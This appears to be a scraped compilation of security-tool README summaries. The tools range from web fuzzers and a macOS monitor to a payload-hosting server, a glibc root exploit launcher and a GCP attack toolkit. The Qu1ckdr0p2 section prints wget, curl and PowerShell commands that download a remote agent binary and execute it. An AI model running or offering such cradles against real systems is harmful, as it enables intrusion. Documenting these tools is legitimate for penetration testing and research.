		30 *default*

-proxy
	HTTP proxy. e.g. use -proxy "http://localhost:8080" for Burp or ZAP

Further read

• https://blog.skullsecurity.org/2013/a-padding-oracle-example
• https://blog.skullsecurity.org/2016/going-the-other-way-with-padding-oracles-encrypting-arbitrary-data

Alternative tools

• https://github.com/liamg/pax
• https://github.com/AonCyberLabs/PadBuster

Afuzz - Automated Web Path Fuzzing Tool For The Bug Bounty Projects

Afuzz is an automated web path fuzzing tool for the Bug Bounty projects.

Afuzz is being actively developed by @rapiddns

Features

• Afuzz automatically detects the development language used by the website, and generates extensions according to the language
• Uses blacklist to filter invalid pages
• Uses whitelist to find content that bug bounty hunters are interested in in the page
• filters random content in the page
• judges 404 error pages in multiple ways
• perform statistical analysis on the results after scanning to obtain the final result.
• support HTTP2

Installation

git clone https://github.com/rapiddns/Afuzz.git
cd Afuzz
python setup.py install

OR

pip install afuzz

Run

afuzz -u http://testphp.vulnweb.com -t 30

Result

Table

+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|                                                                                    http://testphp.vulnweb.com/                                                                                    |
+-----------------------------+---------------------+--------+-----------------------------------+-----------------------+--------+--------------------------+-------+-------+-----------+----------+
|            target           |         path        | status |              redirect             |         title         | length |       content-type       | lines | words |    type   |   mark   |
+-----------------------------+---------------------+--------+-----------------------------------+-----------------------+--------+--------------------------+-------+-------+   -----------+----------+
| http://testphp.vulnweb.com/ | .idea/workspace.xml |  200   |                                   |                       | 12437  |         text/xml         |  217  |  774  |   check   |          |
| http://testphp.vulnweb.com/ |        admin        |  301   | http://testphp.vulnweb.com/admin/ | 301 Moved Permanently |  169   |        text/html         |   8   |   11  |   folder  |   30x    |
| http://testphp.vulnweb.com/ |      login.php      |  200   |                                   |       login page      |  5009  |        text/html         |  120  |  432  |   check   |          |
| http://testphp.vulnweb.com/ |     .idea/.name     |  200   |                                   |                       |   6    | application/octet-stream |   1   |   1   |   check   |          |
| http://testphp.vulnweb.com/ |    .idea/vcs.xml    |  200   |                                   |                       |  173   |         text/xml         |   8   |   13  |   check   |          |
| http://testphp.vulnweb.com/ |        .idea/       |  200   |                                   |    Index of /.idea/   |  937   |        text/html         |   14  |   46  | whitelist | index of |
| http://testphp.vulnweb.com/ |       cgi-bin/      |  403   |                                   |     403 Forbidden     |  276   |        text/html         |   10  |   28  |   folder  |   403    |
| http://testphp.vulnweb.com/ | .idea/encodings.xml |  200   |                                   |                       |  171   |         text/xml         |   6   |   11  |   check   |          |
| http://testphp.vulnweb.com/ |      search.php     |  200   |                                   |         search        |  4218  |        text/html         |  104  |  364  |   check   |          |
| http://testphp.vulnweb.com/ |     produc   t.php  |  200   |                                   |    picture details    |  4576  |        text/html         |  111  |  377  |   check   |          |
| http://testphp.vulnweb.com/ |        admin/       |  200   |                                   |    Index of /admin/   |  248   |        text/html         |   8   |   16  | whitelist | index of |
| http://testphp.vulnweb.com/ |        .idea        |  301   | http://testphp.vulnweb.com/.idea/ | 301 Moved Permanently |  169   |        text/html         |   8   |   11  |   folder  |   30x    |
+-----------------------------+---------------------+--------+-----------------------------------+-----------------------+--------+--------------------------+-------+-------+-----------+----------+```

Json

{
    "result": [
        {
            "target": "http://testphp.vulnweb.com/",
            "path": ".idea/workspace.xml",
            "status": 200,
            "redirect": "",
            "title": "",
            "length": 12437,
            "content_type": "text/xml",
            "lines": 217,
            "words": 774,
            "type": "check",
            "mark": "",
            "subdomain": "testphp.vulnweb.com",
            "depth": 0,
            "url": "http://testphp.vulnweb.com/.idea/workspace.xml"
        },
        {
            "target": "http://testphp.vulnweb.com/",
            "path": "admin",
            "status": 301,
            "redirect": "http://testphp.vulnweb.com/admin/",
            "title": "301 Moved Permanently",
            "length": 169,
            "content_type": "text/html",
            "lines": 8,
            "words   ": 11,
            "type": "folder",
            "mark": "30x",
            "subdomain": "testphp.vulnweb.com",
            "depth": 0,
            "url": "http://testphp.vulnweb.com/admin"
        },
        {
            "target": "http://testphp.vulnweb.com/",
            "path": "login.php",
            "status": 200,
            "redirect": "",
            "title": "login page",
            "length": 5009,
            "content_type": "text/html",
            "lines": 120,
            "words": 432,
            "type": "check",
            "mark": "",
            "subdomain": "testphp.vulnweb.com",
            "depth": 0,
            "url": "http://testphp.vulnweb.com/login.php"
        },
        {
            "target": "http://testphp.vulnweb.com/",
            "path": ".idea/.name",
            "status": 200,
            "redirect": "",
            "title": "",
               "length": 6,
            "content_type": "application/octet-stream",
            "lines": 1,
            "words": 1,
            "type": "check",
            "mark": "",
            "subdomain": "testphp.vulnweb.com",
            "depth": 0,
            "url": "http://testphp.vulnweb.com/.idea/.name"
        },
        {
            "target": "http://testphp.vulnweb.com/",
            "path": ".idea/vcs.xml",
            "status": 200,
            "redirect": "",
            "title": "",
            "length": 173,
            "content_type": "text/xml",
            "lines": 8,
            "words": 13,
            "type": "check",
            "mark": "",
            "subdomain": "testphp.vulnweb.com",
            "depth": 0,
            "url": "http://testphp.vulnweb.com/.idea/vcs.xml"
        },
        {
            "target": "http://testphp.vulnweb.com/",
               "path": ".idea/",
            "status": 200,
            "redirect": "",
            "title": "Index of /.idea/",
            "length": 937,
            "content_type": "text/html",
            "lines": 14,
            "words": 46,
            "type": "whitelist",
            "mark": "index of",
            "subdomain": "testphp.vulnweb.com",
            "depth": 0,
            "url": "http://testphp.vulnweb.com/.idea/"
        },
        {
            "target": "http://testphp.vulnweb.com/",
            "path": "cgi-bin/",
            "status": 403,
            "redirect": "",
            "title": "403 Forbidden",
            "length": 276,
            "content_type": "text/html",
            "lines": 10,
            "words": 28,
            "type": "folder",
            "mark": "403",
            "subdomain": "testphp.vulnweb.com",
            "depth": 0,
               "url": "http://testphp.vulnweb.com/cgi-bin/"
        },
        {
            "target": "http://testphp.vulnweb.com/",
            "path": ".idea/encodings.xml",
            "status": 200,
            "redirect": "",
            "title": "",
            "length": 171,
            "content_type": "text/xml",
            "lines": 6,
            "words": 11,
            "type": "check",
            "mark": "",
            "subdomain": "testphp.vulnweb.com",
            "depth": 0,
            "url": "http://testphp.vulnweb.com/.idea/encodings.xml"
        },
        {
            "target": "http://testphp.vulnweb.com/",
            "path": "search.php",
            "status": 200,
            "redirect": "",
            "title": "search",
            "length": 4218,
            "content_type": "text/html",
            "lines": 104,
            "words": 364,
            "t   ype": "check",
            "mark": "",
            "subdomain": "testphp.vulnweb.com",
            "depth": 0,
            "url": "http://testphp.vulnweb.com/search.php"
        },
        {
            "target": "http://testphp.vulnweb.com/",
            "path": "product.php",
            "status": 200,
            "redirect": "",
            "title": "picture details",
            "length": 4576,
            "content_type": "text/html",
            "lines": 111,
            "words": 377,
            "type": "check",
            "mark": "",
            "subdomain": "testphp.vulnweb.com",
            "depth": 0,
            "url": "http://testphp.vulnweb.com/product.php"
        },
        {
            "target": "http://testphp.vulnweb.com/",
            "path": "admin/",
            "status": 200,
            "redirect": "",
            "title": "Index of /admin/",
               "length": 248,
            "content_type": "text/html",
            "lines": 8,
            "words": 16,
            "type": "whitelist",
            "mark": "index of",
            "subdomain": "testphp.vulnweb.com",
            "depth": 0,
            "url": "http://testphp.vulnweb.com/admin/"
        },
        {
            "target": "http://testphp.vulnweb.com/",
            "path": ".idea",
            "status": 301,
            "redirect": "http://testphp.vulnweb.com/.idea/",
            "title": "301 Moved Permanently",
            "length": 169,
            "content_type": "text/html",
            "lines": 8,
            "words": 11,
            "type": "folder",
            "mark": "30x",
            "subdomain": "testphp.vulnweb.com",
            "depth": 0,
            "url": "http://testphp.vulnweb.com/.idea"
        }
    ],
    "total": 12,
    "targe   t": "http://testphp.vulnweb.com/"
}

Wordlists (IMPORTANT)

Summary:

• Wordlist is a text file, each line is a path.
• About extensions, Afuzz replaces the %EXT% keyword with extensions from -e flag.If no flag -e, the default is used.
• Generate a dictionary based on domain names. Afuzz replaces %subdomain% with host, %rootdomain% with root domain, %sub% with subdomain, and %domain% with domain. And generated according to %ext%

Examples:

• Normal extensions

index.%EXT%

Passing asp and aspx extensions will generate the following dictionary:

index
index.asp
index.aspx

• host

%subdomain%.%ext%
%sub%.bak
%domain%.zip
%rootdomain%.zip

Passing https://test-www.hackerone.com and php extension will genrate the following dictionary:

test-www.hackerone.com.php
test-www.zip
test.zip
www.zip
testwww.zip
hackerone.zip
hackerone.com.zip

Options

    #     ###### ### ###  ######  ######
    #      #   #  #   #   #   #   #   #
   # #     # #    #   #   #  #    #  #
   # #     ###    #   #     #       #
  #  #    #  #   #   #      #       #
  #####   #      #   #     #  #    #  #
 #    #   #      #   #    #   #   #   #
###  ### ###      ###    ######  ######



usage: afuzz [options]

An Automated Web Path Fuzzing Tool.
By RapidDNS (https://rapiddns.io)

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Target URL
  -o OUTPUT, --output OUTPUT
                        Output file
  -e EXTENSIONS, --extensions EXTENSIONS
                        Extension list separated by commas (Example: php,aspx,jsp)
  -t THREAD, --thread THREAD
                        Number of threads
  -d DEPTH,    --depth DEPTH
                        Maximum recursion depth
  -w WORDLIST, --wordlist WORDLIST
                        wordlist
  -f, --fullpath        fullpath
  -p PROXY, --proxy PROXY
                        proxy, (ex:http://127.0.0.1:8080)

How to use

Some examples for how to use Afuzz - those are the most common arguments. If you need all, just use the -h argument.

Simple usage

afuzz -u https://target

afuzz -e php,html,js,json -u https://target

afuzz -e php,html,js -u https://target -d 3

Threads

The thread number (-t | --threads) reflects the number of separated brute force processes. And so the bigger the thread number is, the faster afuzz runs. By default, the number of threads is 10, but you can increase it if you want to speed up the progress.

In spite of that, the speed still depends a lot on the response time of the server. And as a warning, we advise you to keep the threads number not too big because it can cause DoS.

afuzz -e aspx,jsp,php,htm,js,bak,zip,txt,xml -u https://target -t 50

Blacklist

The blacklist.txt and bad_string.txt files in the /db directory are blacklists, which can filter some pages

The blacklist.txt file is the same as dirsearch.

The bad_stirng.txt file is a text file, one per line. The format is position==content. With == as the separator, position has the following options: header, body, regex, title

Language detection

The language.txt is the detection language rule, the format is consistent with bad_string.txt. Development language detection for website usage.

References

Thanks to open source projects for inspiration

• Dirsearch by by Shubham Sharma
• wfuzz by Xavi Mendez
• arjun by Somdev Sangwan

Red Canary Mac Monitor - An Advanced, Stand-Alone System Monitoring Tool Tailor-Made For macOS Security Research

Red Canary Mac Monitor is an advanced, stand-alone system monitoring tool tailor-made for macOS security research, malware triage, and system troubleshooting. Harnessing Apple Endpoint Security (ES), it collects and enriches system events, displaying them graphically, with an expansive feature set designed to surface only the events that are relevant to you. The telemetry collected includes process, interprocess, and file events in addition to rich metadata, allowing users to contextualize events and tell a story with ease. With an intuitive interface and a rich set of analysis features, Red Canary Mac Monitor was designed for a wide range of skill levels and backgrounds to detect macOS threats that would otherwise go unnoticed. As part of Red Canary’s commitment to the research community, the Mac Monitor distribution package is available to download for free.

Requirements

• Processor: We recommend an Apple Silicon machine, but Intel works too!
• System memory: 4GB+ is recommended
• macOS version: 13.1+ (Ventura)

How can I install this thing?

Homebrew? brew install --cask red-canary-mac-monitor

• Go to the releases section and download the latest installer: https://github.com/redcanaryco/mac-monitor/releases
• Open the app: Red Canary Mac Monitor.app
• You'll be prompted to "Open System Settings" to "Allow" the System Extension.
• Next, System Settings will automatically open to Full Disk Access -- you'll need to flip the switch to enable this for the Red Canary Security Extension. Full Disk Access is a requirement of Endpoint Security.
• ️ Click the "Start" button in the app and you'll be prompted to reopen the app. Done!

Install footprint

• Event monitor app which establishes an XPC connection to the Security Extension: /Applications/Red Canary Mac Monitor.app w/signing identifier of com.redcanary.agent.
• Security Extension: /Library/SystemExtensions/../com.redcanary.agent.securityextension.systemextension w/signing identifier of com.redcanary.agent.securityextension.systemextension.

Uninstall

Homebrew? brew uninstall red-canary-mac-monitor. When using this option you will likely be prompted to authenticate to remove the System Extension.

• From the Finder delete the app and authenticate to remove the System Extension. You can't do this from the Dock. It's that easy!
• You can also just remove the Security Extension if you want in the app's menu bar or by going into the app settings.
• (1.0.3) Supports removal using the ../Contents/SharedSupport/uninstall.sh script.

How are updates handled?

Homebrew? brew update && brew upgrade red-canary-mac-monitor. When using this option you will likely be prompted to authenticate to remove the System Extension.

• When a new version is available for you to download we'll make a new release.
• We'll include updated notes and telemetry summaries (if applicable) for each release.
• All you, as the end user, will need to do is download the update and run the installer. We'll take care of the rest .

How to use this repository

Here we'll be hosting:

• The distribution package for easy install. See the Releases section. Each major build corresponds to a code name. The first of these builds is GoldCardinal.
• Telemetry reports in Telemetry reports/ (i.e. all the artifacts that can be collected by the Security Extension).
• Iconography (what the symbols and colors mean) in Iconography/
• Updated mute set summaries in Mute sets/
• AtomicESClient is a seperate, but very closely related project showing the ropes of Endpoint Security check it out in: AtomicESClient/

Additionally, you can submit feature requests and bug reports here as well. When creating a new Issue you'll be able to use one of the two provided templates. Both of these options are also accessible from the in-app "Help" menu.

• Feature request
• Bug report

How are releases structured?

Each release of Red Canary Mac Monitor has a corresponding build name and version number. The first release has the build name of: GoldCardinal and version number 1.0.1.

What are some standout features?

• High fidelity ES events modeled and enriched with some events containing further enrichment. For example, a process being File Quarantine-aware, a file being quarantined, code signing certificates, etc.

• Dynamic runtime ES event subscriptions. You have the ability to on-the-fly modify your event subscriptions -- enabling you to cut down on noise while you're working through traces.

• Path muting at the API level -- Apple's Endpoint Security team has put a lot of work recently into enabling advanced path muting / inversion capabilities. Here, we cover the majority of the API features: es_mute_path and es_mute_path_events along with the types of ES_MUTE_PATH_TYPE_PREFIX, ES_MUTE_PATH_TYPE_LITERAL, ES_MUTE_PATH_TYPE_TARGET_PREFIX, and ES_MUTE_PATH_TYPE_TARGET_LITERAL. Right now we do not support inversion. I'd love it if the ES team added inversion on a per-event basis instead of per-client.

• Detailed event facts. Right click on any event in a table row to access event metadata, filtering, muting, and unsubscribe options. Core to the user experience is the ability to drill down into any given event or set of events. To enable this functionality we’ve developed “Event facts” windows which contain metadata / additional enrichment about any given event. Each event has a curated set metadata that is displayed. For example, process execution events will generally contain code signing information, environment variables, correlated events, etc. Below you see examples of file creation and BTM launch item added event facts.

• Event correlation is an exceptionally important component in any analyst's tool belt. The ability to see which events are "related" to one-another enables you to manipulate the telemetry in a way that makes sense (other than simply dumping to JSON or representing an individual event). We perform event correlation at the process level -- this means that for any given event (which have an initiating and/or target process) we can deeply link events that any given process instigated.

• Process grouping is another helpful way to represent process telemetry around a given ES_EVENT_TYPE_NOTIFY_EXEC or ES_EVENT_TYPE_NOTIFY_FORK event. By grouping processes in this way you can easily identify the chain of activity.

• Artifact filtering enabled users to remove (but not destroy) events from view based on: event type, initiating process path, or target process path. This standout feature enables analysts to cut through the noise quickly while still retaining all data.

  • Lossy filtering (i.e. events that are dropped from the trace) is also available in the form of "dropping platform binaries" -- another useful technique to cut through the noise.

• Telemetry export. Right now we support pretty JSON and JSONL (one JSON object per-line) for the full or partial system trace (keyboard shortcuts too). You can access these options in the menu bar under "Export Telemetry".
• Process subtree generation. When viewing the event facts window for any given event we’ll attempt to generate a process lineage subtree in the left hand sidebar. This tree is intractable – click on any process and you’ll be taken to its event facts. Similarly, you can right click on any process in the tree to pop out the facts for that event.
• Dynamic event distribution chart. This is a fun one enabled by the SwiftUI team. The graph shows the distribution of events you're subscribed to, currently in-scope (i.e. not filtered), and have a count of more than nothing. This enables you to very quickly identify noisy events. The chart auto-shows/hides itself, but you can bring it back with the: "Mini-chart" button in the toolbar.

Some other features

• Another very important feature of any dynamic analysis tool is to not let an event limiter or memory inefficient implementation get in the way of the user experience. To address this (the best we currently can) we’ve implemented an asynchronous parent / child-like Core Data stack which stores our events as “entities” in-memory. This enables us to store virtually unlimited events with Mac Monitor. Although, the time of insertions does become more taxing as the event limit gets very large.
• Since Mac Monitor is based on a Security Extension which is always running in the background (like an EDR sensor) we baked in functionality such that it does not process events when a system trace is not occurring. This means that the Red Canary Security Extension (com.redcanary.agent.securityextension) will not needlessly utilize resources / battery power when a trace is not occurring.
• Distribution package: The install process is often overlooked. However, if users do not have a good understanding of what’s being installed or if it’s too complex to install the barrier to entry might be just high enough to dissuade people from using it. This is why we ship Mac Monitor as a notarized distribution package.

Can you open source Mac Monitor?

We know how much you would love to learn from the source code and/or build tools or commercial products on top of this. Currently, however, Mac Monitor will be distributed as a free, closed-source tool. Enjoy what's being offered and please continue to provide your great feedback. Additionally, never hesitate to reach out if there's one aspect of the implementation you'd love to learn more about. We're an open book when it comes to geeking out about all things implementation, usage, and research methodology.

WebSecProbe - Web Security Assessment Tool, Bypass 403

A cutting-edge utility designed exclusively for web security aficionados, penetration testers, and system administrators. WebSecProbe is your advanced toolkit for conducting intricate web security assessments with precision and depth. This robust tool streamlines the intricate process of scrutinizing web servers and applications, allowing you to delve into the technical nuances of web security and fortify your digital assets effectively.

WebSecProbe is designed to perform a series of HTTP requests to a target URL with various payloads in order to test for potential security vulnerabilities or misconfigurations. Here's a brief overview of what the code does:

• It takes user input for the target URL and the path.
• It defines a list of payloads that represent different HTTP request variations, such as URL-encoded characters, special headers, and different HTTP methods.
• It iterates through each payload and constructs a full URL by appending the payload to the target URL.
• For each constructed URL, it sends an HTTP GET request using the requests library, and it captures the response status code and content length.
• It prints the constructed URL, status code, and content length for each request, effectively showing the results of each variation's response from the target server.
• After testing all payloads, it queries the Wayback Machine (a web archive) to check if there are any archived snapshots of the target URL/path. If available, it prints the closest archived snapshot's information.

Does This Tool Bypass 403 ?

It doesn't directly attempt to bypass a 403 Forbidden status code. The code's purpose is more about testing the behavior of the server when different requests are made, including requests with various payloads, headers, and URL variations. While some of the payloads and headers in the code might be used in certain scenarios to test for potential security misconfigurations or weaknesses, it doesn't guarantee that it will bypass a 403 Forbidden status code.

In summary, this code is a tool for exploring and analyzing a web server's responses to different requests, but whether or not it can bypass a 403 Forbidden status code depends on the specific configuration and security measures implemented by the target server.

pip install WebSecProbe

WebSecProbe <URL> <Path>

Example:

WebSecProbe https://example.com admin-login

from WebSecProbe.main import WebSecProbe

if __name__ == "__main__":
    url = 'https://example.com'  # Replace with your target URL
    path = 'admin-login'  # Replace with your desired path

    probe = WebSecProbe(url, path)
    probe.run()

Aws-Waf-Header-Analyzer - The Purpose Of The Project Is To Create Rate Limit In AWS WaF Based On HTTP Headers

The purpose of the project is to create rate limit in AWS WaF based on HTTP headers.

Golang is a dependencie to build the binary. See the documentation to install: https://go.dev/doc/install

make
sudo make install

The rules configuration is very simple, for example, the threshold is the limited of the requests in X time. It's possible to monitoring multiples headers, but, the header needs to be in HTTP Request header log.

rules:
  header:
    x-api-id: # The header name in HTTP Request header
      threshold: 100

    token:
      threshold: 1000

It's possible send notifications to Slack and Telegram. To configure slack notifications, you needs create a webhook configuration, see the slack documentation: https://api.slack.com/messaging/webhooks

Telegram bot father: https://t.me/botfather

notifications:
  slack:
    webhook-url: https://hooks.slack.com/services/DA2DA13QS/LW5DALDSMFDT5/qazqqd4f5Qph7LgXdZaHesXs

  telegram:
    bot-token: "123456789:NNDa2tbpq97izQx_invU6cox6uarhrlZDfa"
    chat-id:  "-4128833322"

To set up AWS credentials, it's advisable to export them as environment variables. Here's a recommended approach:

export AWS_ACCESS_KEY_ID=".."
export AWS_SECRET_ACCESS_KEY=".."
export AWS_REGION="us-east-1"

retrive-logs-minutes-ago is the time range you want to fetch the logs, in this example, logs from 1 hour ago.

aws:
  waf-log-group-name: aws-waf-logs-cloudwatch-cloudfront
  region: us-east-1
  retrive-logs-minutes-ago: 60

TrafficWatch - TrafficWatch, A Packet Sniffer Tool, Allows You To Monitor And Analyze Network Traffic From PCAP Files

TrafficWatch, a packet sniffer tool, allows you to monitor and analyze network traffic from PCAP files. It provides insights into various network protocols and can help with network troubleshooting, security analysis, and more.

• Protocol-specific packet analysis for ARP, ICMP, TCP, UDP, DNS, DHCP, HTTP, SNMP, LLMNR, and NetBIOS.
• Packet filtering based on protocol, source IP, destination IP, source port, destination port, and more.
• Summary statistics on captured packets.
• Interactive mode for in-depth packet inspection.
• Timestamps for each captured packet.
• User-friendly colored output for improved readability.
• Python 3.x
• scapy
• argparse
• pyshark
• colorama

1. Clone the repository:

   git clone https://github.com/HalilDeniz/TrafficWatch.git

2. Navigate to the project directory:

   cd TrafficWatch

3. Install the required dependencies:

   pip install -r requirements.txt

python3 trafficwatch.py --help
usage: trafficwatch.py [-h] -f FILE [-p {ARP,ICMP,TCP,UDP,DNS,DHCP,HTTP,SNMP,LLMNR,NetBIOS}] [-c COUNT]

Packet Sniffer Tool

options:
-h, --help            show this help message and exit
-f FILE, --file FILE  Path to the .pcap file to analyze
-p {ARP,ICMP,TCP,UDP,DNS,DHCP,HTTP,SNMP,LLMNR,NetBIOS}, --protocol {ARP,ICMP,TCP,UDP,DNS,DHCP,HTTP,SNMP,LLMNR,NetBIOS}
                     Filter by specific protocol
-c COUNT, --count COUNT
                     Number of packets to display

To analyze packets from a PCAP file, use the following command:

python trafficwatch.py -f path/to/your.pcap

To specify a protocol filter (e.g., HTTP) and limit the number of displayed packets (e.g., 10), use:

python trafficwatch.py -f path/to/your.pcap -p HTTP -c 10

• -f or --file: Path to the PCAP file for analysis.
• -p or --protocol: Filter packets by protocol (ARP, ICMP, TCP, UDP, DNS, DHCP, HTTP, SNMP, LLMNR, NetBIOS).
• -c or --count: Limit the number of displayed packets.

Contributions are welcome! If you want to contribute to TrafficWatch, please follow our contribution guidelines.

If you have any questions, comments, or suggestions about Dosinator, please feel free to contact me:

• LinkedIn: Halil Ibrahim Deniz
• TryHackMe: Halilovic
• Instagram: deniz.halil333
• YouTube: Halil Deniz
• Email: halildeniz313@gmail.com

This project is licensed under the MIT License.

Thank you for considering supporting me! Your support enables me to dedicate more time and effort to creating useful tools like DNSWatch and developing new projects. By contributing, you're not only helping me improve existing tools but also inspiring new ideas and innovations. Your support plays a vital role in the growth of this project and future endeavors. Together, let's continue building and learning. Thank you!" 

Qu1Ckdr0P2 - Quicky Serve Files Over Http Or Https Using Flask

Rapidly host payloads and post-exploitation bins over HTTP or HTTPS.

Designed to be used on exams like OSCP / PNPT or CTFs HTB / etc.

Pull requests and issues welcome. As are any contributions.

Qu1ckdr0p2 comes with an alias and search feature. The tools are located in the qu1ckdr0p2-tools repository. By default it will generate a self-signed certificate to use when using the --https option, priority is also given to the tun0 interface when the webserver is running, otherwise it will use eth0.

The common.ini defines the mapped aliases used within the --search and -u options.

When the webserver is running there are several download cradles printed to the screen to copy and paste.

pip3 install qu1ckdr0p2

echo "alias serv='~/.local/bin/serv'" >> ~/.zshrc
source ~/.zshrc

or

echo "alias serv='~/.local/bin/serv'" >> ~/.bashrc
source ~/.bashrc

serv init --update

$ serv serve -f implant.bin --https 443

$ serv serve -f file.example --http 8080

$ serv --help            
Usage: serv [OPTIONS] COMMAND [ARGS]...

  Welcome to qu1ckdr0p2 entry point.

Options:
  --debug  Enable debug mode.
  --help   Show this message and exit.

Commands:
  init   Perform updates.
  serve  Serve files.

$ serv serve --help
Usage: serv serve [OPTIONS]

  Serve files.

Options:
  -l, --list         List aliases
  -s, --search TEXT  Search query for aliases
  -u, --use INTEGER  Use an alias by a dynamic number
  -f, --file FILE    Serve a file
  --http INTEGER     Use HTTP with a custom port
  --https INTEGER    Use HTTPS with a custom port
  -h, --help         Show this message and exit.

$ serv init --help       
Usage: serv init [OPTIONS]

  Perform updates.

Options:
  --update            Check and download missing tools.
  --update-self       Update the tool using pip.
  --update-self-test  Used for dev testing, installs unstable build.
  --help              Show this message and exit.

$ serv init --update

$ serv init --update-self

The mapped alias numbers for the -u option are dynamic so you don't have to remember specific numbers or ever type out a tool name.

$ serv serve --search ligolo               

[→] Path: ~/.qu1ckdr0p2/windows/agent.exe
[→] Alias: ligolo_agent_win
[→] Use: 1

[→] Path: ~/.qu1ckdr0p2/windows/proxy.exe
[→] Alias: ligolo_proxy_win
[→] Use: 2

[→] Path: ~/.qu1ckdr0p2/linux/agent
[→] Alias: ligolo_agent_linux
[→] Use: 3

[→] Path: ~/.qu1ckdr0p2/linux/proxy
[→] Alias: ligolo_proxy_linux
[→] Use: 4
(...)

$ serv serve --search ligolo -u 3 --http 80

[→] Serving: ../../.qu1ckdr0p2/linux/agent
[→] Protocol: http
[→] IP address: 192.168.1.5
[→] Port: 80
[→] Interface: eth0
[→] CTRL+C to quit

[→] URL: http://192.168.1.5:80/agent

[↓] csharp:
$webclient = New-Object System.Net.WebClient; $webclient.DownloadFile('http://192.168.1.5:80/agent', 'c:\windows\temp\agent'); Start-Process 'c:\windows\temp\agent'

[↓] wget:
wget http://192.168.1.5:80/agent -O /tmp/agent && chmod +x /tmp/agent && /tmp/agent

[↓] curl:
curl http://192.168.1.5:80/agent -o /tmp/agent && chmod +x /tmp/agent && /tmp/agent

[↓] powershell:
Invoke-WebRequest -Uri http://192.168.1.5:80/agent -OutFile c:\windows\temp\agent; Start-Process c:\windows\temp\agent

⠧ Web server running

MIT

PatchaPalooza - A Comprehensive Tool That Provides An Insightful Analysis Of Microsoft's Monthly Security Updates

A comprehensive tool that provides an insightful analysis of Microsoft's monthly security updates.

IF you are interested in seing all this data in a live website, visit:

• https://patchapalooza.com

PatchaPalooza uses the power of Microsoft's MSRC CVRF API to fetch, store, and analyze security update data. Designed for cybersecurity professionals, it offers a streamlined experience for those who require a quick yet detailed overview of vulnerabilities, their exploitation status, and more. This tool operates entirely offline once the data has been fetched, ensuring that your analyses can continue even without an internet connection.

• Retrieve Data: Fetches the latest security update summaries directly from Microsoft.
• Offline Storage: Stores the fetched data for offline analysis.
• Detailed Analysis: Analyze specific months or get a comprehensive view across months.
• CVE Details: Dive deep into specifics of a particular CVE.
• Exploitation Overview: Quickly identify which vulnerabilities are currently being exploited.
• CVSS Scoring: Prioritize your patching efforts based on CVSS scores.
• Categorized Overview: Get a breakdown of vulnerabilities based on their types.

Run PatchaPalooza without arguments to see an analysis of the current month's data:

python PatchaPalooza.py

For a specific month's analysis:

python PatchaPalooza.py --month YYYY-MMM

To display a detailed view of a specific CVE:

python PatchaPalooza.py --detail CVE-ID

To update and store the latest data:

python PatchaPalooza.py --update

For an overall statistical overview:

python PatchaPalooza.py --stats

• Python 3.x
• Requests library
• Termcolor library

This tool is built upon the Microsoft's MSRC CVRF API and is inspired by the work of @KevTheHermit.

Alexander Hagenah

• Twitter

This tool is meant for educational and professional purposes only. No license, so do with it whatever you like.

LooneyPwner - Exploit Tool For CVE-2023-4911, Targeting The 'Looney Tunables' Glibc Vulnerability In Various Linux Distributions

Exploit tool for CVE-2023-4911, targeting the 'Looney Tunables' glibc vulnerability in various Linux distributions.

LooneyPwner is a proof-of-concept (PoC) exploit tool targeting the critical buffer overflow vulnerability, nicknamed "Looney Tunables," found in the GNU C Library (glibc). This flaw, officially tracked as CVE-2023-4911, is present in various Linux distributions, posing significant risks, including unauthorized data access and system alterations.

The vulnerability in the GNU C Library (glibc) was disclosed last week, with notable security researchers and analysts releasing PoC exploits, indicating the potential for widespread attacks. The flaw, discovered by Qualys researchers, can grant attackers root privileges on various Linux distributions including Fedora, Ubuntu, and Debian.

Unauthorized root access provides attackers unrestricted authority, enabling them to:

• Modify, delete, or steal sensitive data.
• Install malicious software or backdoors.
• Facilitate ongoing attacks that may remain undetected for extended periods.
• Cause data breaches, accessing customer data, intellectual property, and financial records.
• Disrupt critical system operations, potentially causing service outages and harming an organization's reputation.

LooneyPwner exploits the "Looney Tunables" flaw, targeting affected glibc versions. The tool:

• Detects the installed glibc version.
• Checks for vulnerability status.
• Offers an option for exploitation if vulnerable.

chmod +x looneypwner.sh
./looneypwner.sh

This tool is intended for educational purposes and security research only. The user assumes all responsibility for any damages or misuse resulting from its use.

This exploit code is based on the work of leesh3288. A big thanks to him for the foundational work on the exploit.

PathFinder - Tool That Provides Information About A Website

Web Path Finder is a Python program that provides information about a website. It retrieves various details such as page title, last updated date, DNS information, subdomains, firewall names, technologies used, certificate information, and more. 

• Retrieve important information about a website
• Gain insights into the technologies used by a website
• Identify subdomains and DNS information
• Check firewall names and certificate details
• Perform bypass operations for captcha and JavaScript content

1. Clone the repository:

   git clone https://github.com/HalilDeniz/PathFinder.git
   

2. Install the required packages:

   pip install -r requirements.txt
   

This will install all the required modules and their respective versions.

Run the program using the following command:

┌──(root💀denizhalil)-[~/MyProjects/]
└─# python3 web-info-explorer.py --help                                             
usage: wpathFinder.py [-h] url

Web Information Program

positional arguments:
  url         Enter the site URL

options:
  -h, --help  show this help message and exit

Replace <url> with the URL of the website you want to explore.

Here is an example output of running the program:

┌──(root💀denizhalil)-[~/MyProjects/]
└─# python3 pathFinder.py https://www.facebook.com/
    Site Information:
    Title:  Facebook - Login or Register
    Last Updated Date:  None
    First Creation Date:  1997-03-29 05:00:00
    Dns Information:  []
    Sub Branches:  ['157']
Firewall Names:  []
    Technologies Used:  javascript, php, css, html, react
    Certificate Information:
    Certificate Issuer: US
    Certificate Start Date: 2023-02-07 00:00:00
    Certificate Expiration Date: 2023-05-08 23:59:59
    Certificate Validity Period (Days): 90
    Bypassed JavaScript content:  

GATOR - GCP Attack Toolkit For Offensive Research, A Tool Designed To Aid In Research And Exploiting Google Cloud Environments

GATOR - GCP Attack Toolkit for Offensive Research, a tool designed to aid in research and exploiting Google Cloud Environments. It offers a comprehensive range of modules tailored to support users in various attack stages, spanning from Reconnaissance to Impact.

Modules

Installation

Python 3.11 or newer should be installed. You can verify your Python version with the following command:

python --version

Manual Installation via setup.py

git clone https://github.com/anrbn/GATOR.git
cd GATOR
python setup.py install

Automated Installation via pip

pip install gator-red

Documentation

Have a look at the GATOR Documentation for an explained guide on using GATOR and it's module!

Issues

Reporting an Issue

If you encounter any problems with this tool, I encourage you to let me know. Here are the steps to report an issue:

1. Check Existing Issues: Before reporting a new issue, please check the existing issues in this repository. Your issue might have already been reported and possibly even resolved.

